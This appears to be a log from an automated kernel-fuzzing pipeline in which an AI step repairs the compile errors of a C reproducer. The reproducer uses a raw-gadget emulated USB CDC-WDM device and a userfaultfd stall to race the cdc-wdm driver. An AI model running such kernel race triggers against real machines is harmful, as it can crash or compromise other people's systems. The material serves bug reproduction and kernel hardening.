exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:2:
<stdin>:215:12: error: initializer element is not constant
<stdin>:215:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:220:14: error: initializer element is not constant
<stdin>:220:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:221:15: error: initializer element is not constant
<stdin>:221:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:222:15: error: initializer element is not constant
<stdin>:222:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:245:19: error: initializer element is not constant
<stdin>:245:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:267:13: error: initializer element is not constant
<stdin>:267:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:274:21: error: initializer element is not constant
<stdin>:274:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor199630447 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]
Reply: ```c
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
```
|
| 137/7 |
2026/09/11 22:28 |
llm |
repro-repairer |
1m
Model:
Tokens:
input: 12863
output: 4194
thoughts: 7713
Thoughts: **Encountering and Resolving a Compiler Error in Global Struct Initialization**
I've been working on a piece of code that involves initializing global USB descriptors, specifically `dev_desc` and `conf_desc`. During compilation, I ran into a persistent error: `initializer element is not constant`, occurring specifically around the initialization of fields like `dev_desc.bcdUSB` and `conf_desc.conf.wTotalLength`. This error indicates that the values I was trying to assign at compile time weren't considered constant by the compiler.
My initial thought process was that the problem lay with the `htole16()` macro, which I was using to ensure values were correctly represented in little-endian format. I recalled that `htole16()`, particularly when used with glibc's `<endian.h>`, doesn't always expand to a compile-time constant expression. This means the compiler can't evaluate it during the compilation phase for global initializers.
I considered a few potential workarounds:
1. **Using `__constant_htole16()` or `__cpu_to_le16()`**: I thought about using alternative macros that are guaranteed to be constant expressions. For instance, `__constant_htole16()` or `__cpu_to_le16()` from `<asm/byteorder.h>` might solve this.
2. **Direct Little-Endian Representation**: Since I know the target architecture is little-endian (indicated by `-DGOARCH_amd64=1`), I could have theoretically just written the little-endian byte representation directly. For example, `0x0200` in little-endian is `0x00, 0x02`. However, this sacrifices portability and clarity.
3. **Runtime Initialization**: This seemed like the most robust and idiomatic C approach for this situation. Instead of trying to force a non-constant expression into a global initializer, I could defer the initialization of these specific fields to runtime, within a function that is guaranteed to be called before the descriptors are actually used.
After reviewing the code structure, I identified all the specific fields causing the problem: `dev_desc.bcdUSB`, `dev_desc.idVendor`, `dev_desc.idProduct`, `dev_desc.bcdDevice`, `conf_desc.conf.wTotalLength`, `conf_desc.cdc_hdr.bcdCDC`, and `conf_desc.ep_in.wMaxPacketSize`.
The most straightforward and safest solution was to remove these `htole16()` calls from the global struct initializers. I then planned to move these assignments into the `setup_gadget()` function. This function is called early in the program's execution, ensuring that these descriptor fields are populated with their correct, little-endian values before they are ever needed by the USB gadget driver.
So, my plan is to modify the initializations within `setup_gadget()` like this:
```c
void setup_gadget() {
// Initialize fields that caused the compile error
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
// ... rest of setup_gadget()
}
```
This approach correctly addresses the "initializer element is not constant" error by ensuring that the conversion and assignment of these values happen at runtime, rather than during the static initialization phase. I also made sure that the original `#include "race_toolkit.h"` directive is retained, as the compiler error snippet indicates that the code presented is the expanded form of what's included from that header.
|
| 138/4 |
2026/09/11 22:29 |
iteration |
1 |
0m
|
| 139/5 |
2026/09/11 22:29 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:```c
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
